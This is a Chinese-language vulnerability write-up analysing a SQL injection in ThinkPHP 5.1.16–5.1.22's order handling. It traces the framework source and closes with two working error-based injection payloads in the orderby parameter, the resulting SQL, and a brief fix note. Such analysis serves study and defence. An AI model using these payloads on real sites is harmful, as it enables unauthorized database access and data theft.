前言
这次的SQL注入点在parseOrder()
方法中,影响版本是5.1.16~5.1.22。
创建:
composer create-project topthink/think=5.1.22 thinkphp5.1.22
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.1.22"
},
composer update
index控制器写法:
public function index()
{
$orderby = request()->get('orderby');
$result = db('users')->where(['username' => 'admin'])->order($orderby)->find();
var_dump($result);
}
至于数据库的配置则还是和之前一样:
记得开启app_debug和app_trace。
分析
先这样试试。
?orderby=id
get方法和where方法这里就不跟进了,还是老样子,用于获取参数和构造一下$option
里面的where键。
进入order()方法:
/**
* 指定排序 order('id','desc') 或者 order(['id'=>'desc','create_time'=>'desc'])
* @access public
* @param string|array $field 排序字段
* @param string $order 排序
* @return $this
*/
public function order($field, $order = null)
{
if (empty($field)) {
return $this;
} elseif ($field instanceof Expression) {
$this->options['order'][] = $field;
return $this;
}
if (is_string($field)) {
if (!empty($this->options['via'])) {
$field = $this->options['via'] . '.' . $field;
}
if (strpos($field, ',')) {
$field = array_map('trim', explode(',', $field));
} else {
$field = empty($order) ? $field : [$field => $order];
}
} elseif (!empty($this->options['via'])) {
foreach ($field as $key => $val) {
if (is_numeric($key)) {
$field[$key] = $this->options['via'] . '.' . $val;
} else {
$field[$this->options['via'] . '.' . $key] = $val;
unset($field[$key]);
}
}
}
if (!isset($this->options['order'])) {
$this->options['order'] = [];
}
if (is_array($field)) {
$this->options['order'] = array_merge($this->options['order'], $field);
} else {
$this->options['order'][] = $field;
}
return $this;
}
这么多行代码其实就是两种处理方式,如果是字符串就是这样:
if (strpos($field, ',')) {
$field = array_map('trim', explode(',', $field));
} else {
$field = empty($order) ? $field : [$field => $order];
}
是数组就是这样:
$this->options['order'] = array_merge($this->options['order'], $field);
最后都是给$this->options['order']
只不过这里如果是一个字符串的话会按,进行分隔,如果想SQL注入的话肯定不能写到一个字符串里,应该写到数组中。
继续跟进find()方法,再跟进得到结果的这一行:
继续跟进这个find方法,在这里得到SQL语句:
/**
* 生成查询SQL
* @access public
* @param Query $query 查询对象
* @return string
*/
public function select(Query $query)
{
$options = $query->getOptions();
return str_replace(
['%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'],
[
$this->parseTable($query, $options['table']),
$this->parseDistinct($query, $options['distinct']),
$this->parseField($query, $options['field']),
$this->parseJoin($query, $options['join']),
$this->parseWhere($query, $options['where']),
$this->parseGroup($query, $options['group']),
$this->parseHaving($query, $options['having']),
$this->parseOrder($query, $options['order']),
$this->parseLimit($query, $options['limit']),
$this->parseUnion($query, $options['union']),
$this->parseLock($query, $options['lock']),
$this->parseComment($query, $options['comment']),
$this->parseForce($query, $options['force']),
],
$this->selectSql);
}
还是熟悉的替换,跟进parseOrder()方法看一下:
/**
* order分析
* @access protected
* @param Query $query 查询对象
* @param mixed $order
* @return string
*/
protected function parseOrder(Query $query, $order)
{
if (empty($order)) {
return '';
}
$array = [];
foreach ($order as $key => $val) {
if ($val instanceof Expression) {
$array[] = $val->getValue();
} elseif (is_array($val)) {
$array[] = $this->parseOrderField($query, $key, $val);
} elseif ('[rand]' == $val) {
$array[] = $this->parseRand($query);
} else {
if (is_numeric($key)) {
list($key, $sort) = explode(' ', strpos($val, ' ') ? $val : $val . ' ');
} else {
$sort = $val;
}
$sort = strtoupper($sort);
$sort = in_array($sort, ['ASC', 'DESC'], true) ? ' ' . $sort : '';
$array[] = $this->parseKey($query, $key, true) . $sort;
}
}
return ' ORDER BY ' . implode(',', $array);
}
重点有这几行代码:
if (is_numeric($key)) {
list($key, $sort) = explode(' ', strpos($val, ' ') ? $val : $val . ' ');
} else {
$sort = $val;
}
$sort = strtoupper($sort);
$sort = in_array($sort, ['ASC', 'DESC'], true) ? ' ' . $sort : '';
$array[] = $this->parseKey($query, $key, true) . $sort;
如果键是数字的话,相当于直接把值给$key
,否则就是把值给$sort
。如果$sort
不是ASC或者DESC
的话,还是会被置空。
再跟进一下parseKey()方法:
/**
* 字段和表名处理
* @access public
* @param Query $query 查询对象
* @param mixed $key 字段名
* @param bool $strict 严格检测
* @return string
*/
public function parseKey(Query $query, $key, $strict = false)
{
if (is_numeric($key)) {
return $key;
} elseif ($key instanceof Expression) {
return $key->getValue();
}
$key = trim($key);
if (strpos($key, '->') && false === strpos($key, '(')) {
// JSON字段支持
list($field, $name) = explode('->', $key, 2);
return 'json_extract(' . $this->parseKey($query, $field) . ', \'$.' . str_replace('->', '.', $name) . '\')';
} elseif (strpos($key, '.') && !preg_match('/[,\'\"\(\)`\s]/', $key)) {
list($table, $key) = explode('.', $key, 2);
$alias = $query->getOptions('alias');
if ('__TABLE__' == $table) {
$table = $query->getOptions('table');
$table = is_array($table) ? array_shift($table) : $table;
}
if (isset($alias[$table])) {
$table = $alias[$table];
}
}
if ('*' != $key && ($strict || !preg_match('/[,\'\"\*\(\)`.\s]/', $key))) {
$key = '`' . $key . '`';
}
if (isset($table)) {
if (strpos($table, '.')) {
$table = str_replace('.', '`.`', $table);
}
$key = '`' . $table . '`.' . $key;
}
return $key;
}
这么多代码大部分都是用不到的,有用的就是这个:
if ('*' != $key && ($strict || !preg_match('/[,\'\"\*\(\)`.\s]/', $key))) {
$key = '`' . $key . '`';
}
相当于直接在$key
外面加一层反引号。最后是这个:
return ' ORDER BY ' . implode(',', $array);
把array以逗号分割成字符串,然后拼接到order by后面。
这次的注入点代码太容易看出来问题了,就是直接的进行外面加反引号,因此可以考虑闭合就可以了。闭合有2种思路,一种是键传payload,一种是值传payload:
?orderby[]=id`,updatexml(1,concat(0x7e,database(),0x7e),1)%23
?orderby[id`,updatexml(1,concat(0x7e,database(),0x7e),1)%23]=1
原理都是一样的。
第一个payload之所以要用数组,还是因为这里:
if (is_string($field)) {
......
if (strpos($field, ',')) {
$field = array_map('trim', explode(',', $field));
不用数组的话,传的值会以逗号分隔。
之后跟进到parseOrder中,在这里$sort
为空,$key
是
id`,updatexml(1,concat(0x7e,database(),0x7e),1)#
经过parseKey,会在外面套一层反引号,前面的会被闭合。最终产生的SQL语句是这样:
SELECT * FROM `users` WHERE `username` = 'admin' ORDER BY `id`,updatexml(1,concat(0x7e,database(),0x7e),1)#` LIMIT 1
成功报错注入
第二种payload攻击原理基本相同。
引用一下七月火师傅的图片:
修复
看一下github:
ban掉了)和#
,进行了修复。